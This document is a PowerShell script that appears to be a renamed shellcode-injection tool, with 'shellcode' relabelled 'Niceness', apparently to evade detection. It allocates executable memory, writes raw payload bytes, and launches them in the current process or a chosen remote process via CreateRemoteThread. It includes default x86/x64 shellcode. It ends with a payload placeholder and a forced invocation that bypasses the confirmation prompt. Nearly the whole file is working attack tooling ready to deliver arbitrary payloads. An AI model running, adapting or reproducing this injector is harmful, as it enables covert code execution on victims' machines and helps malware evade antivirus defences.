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shell.ps1
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function Invoke-Niceness
{
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
[ValidateNotNullOrEmpty()]
[UInt16]
$ProcessID,
[Parameter( ParameterSetName = 'RunLocal' )]
[ValidateNotNullOrEmpty()]
[Byte[]]
$Niceness,
[Switch]
$Force = $False
)
Set-StrictMode -Version 2.0
if ( $PSBoundParameters['ProcessID'] )
{
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
}
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
function Local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
{
$IntSizePtr = $Architecture / 8
function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
{
$LittleEndianByteArray = New-Object Byte[](0)
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
[System.Array]::Reverse($LittleEndianByteArray)
Write-Output $LittleEndianByteArray
}
$CallStub = New-Object Byte[](0)
if ($IntSizePtr -eq 8)
{
[Byte[]] $CallStub = 0x48,0xB8
$CallStub += ConvertTo-LittleEndian $BaseAddr
$CallStub += 0xFF,0xD0
$CallStub += 0x6A,0x00
$CallStub += 0x48,0xB8
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr
$CallStub += 0xFF,0xD0
}
else
{
[Byte[]] $CallStub = 0xB8
$CallStub += ConvertTo-LittleEndian $BaseAddr
$CallStub += 0xFF,0xD0
$CallStub += 0x6A,0x00
$CallStub += 0xB8
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr
$CallStub += 0xFF,0xD0
}
Write-Output $CallStub
}
function Local:Inject-RemoteNiceness ([Int] $ProcessID)
{
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID)
if (!$hProcess)
{
Throw "Unable to open a process handle for PID: $ProcessID"
}
$IsWow64 = $false
if ($64bitOS)
{
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
if ((!$IsWow64) -and $PowerShell32bit)
{
Throw 'Niceness injection targeting a 64-bit process from 32-bit PowerShell is not supported. Use the 64-bit version of Powershell if you want this to work.'
}
elseif ($IsWow64) # 32-bit Wow64 process
{
if ($Niceness32.Length -eq 0)
{
Throw 'No Niceness was placed in the $Niceness32 variable!'
}
$Niceness = $Niceness32
Write-Verbose 'Injecting into a Wow64 process.'
Write-Verbose 'Using 32-bit Niceness.'
}
else # 64-bit process
{
if ($Niceness64.Length -eq 0)
{
Throw 'No Niceness was placed in the $Niceness64 variable!'
}
$Niceness = $Niceness64
Write-Verbose 'Using 64-bit Niceness.'
}
}
else # 32-bit CPU
{
if ($Niceness32.Length -eq 0)
{
Throw 'No Niceness was placed in the $Niceness32 variable!'
}
$Niceness = $Niceness32
Write-Verbose 'Using 32-bit Niceness.'
}
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Niceness.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteMemAddr)
{
Throw "Unable to allocate Niceness memory in PID: $ProcessID"
}
Write-Verbose "Niceness memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Niceness, $Niceness.Length, [Ref] 0) | Out-Null
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($IsWow64)
{
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteStubAddr)
{
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
}
Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch remote thread in PID: $ProcessID"
}
$CloseHandle.Invoke($hProcess) | Out-Null
Write-Verbose 'Niceness injection complete!'
}
function Local:Inject-LocalNiceness
{
if ($PowerShell32bit) {
if ($Niceness32.Length -eq 0)
{
Throw 'No Niceness was placed in the $Niceness32 variable!'
return
}
$Niceness = $Niceness32
Write-Verbose 'Using 32-bit Niceness.'
}
else
{
if ($Niceness64.Length -eq 0)
{
Throw 'No Niceness was placed in the $Niceness64 variable!'
return
}
$Niceness = $Niceness64
Write-Verbose 'Using 64-bit Niceness.'
}
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Niceness.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress)
{
Throw "Unable to allocate Niceness memory in PID: $ProcessID"
}
Write-Verbose "Niceness memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
[System.Runtime.InteropServices.Marshal]::Copy($Niceness, 0, $BaseAddress, $Niceness.Length)
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($PowerShell32bit)
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$CallStubAddress)
{
Throw "Unable to allocate thread call stub."
}
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch thread."
}
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
$VirtualFree.Invoke($BaseAddress, $Niceness.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
Write-Verbose 'Niceness injection complete!'
}
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
$AddressWidth = $null
try {
$AddressWidth = @(Get-WmiObject -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth
} catch {
throw 'Unable to determine OS processor address width.'
}
switch ($AddressWidth) {
'32' {
$64bitOS = $False
}
'64' {
$64bitOS = $True
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
}
default {
throw 'Invalid OS address width detected.'
}
}
if ([IntPtr]::Size -eq 4)
{
$PowerShell32bit = $true
}
else
{
$PowerShell32bit = $false
}
if ($PSBoundParameters['Niceness'])
{
[Byte[]] $Niceness32 = $Niceness
[Byte[]] $Niceness64 = $Niceness32
}
else
{
[Byte[]] $Niceness32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
0x61,0x6c,0x63,0x00)
[Byte[]] $Niceness64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
}
if ( $PSBoundParameters['ProcessID'] )
{
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
Write-Verbose "Injecting Niceness into PID: $ProcessId"
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting Niceness injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
{
Inject-RemoteNiceness $ProcessId
}
}
else
{
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
Write-Verbose "Injecting Niceness into PowerShell"
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting Niceness into the running PowerShell process!" ) )
{
Inject-LocalNiceness
}
}
}
$$$SCODE$$$
Invoke-Niceness -Niceness $buf -Force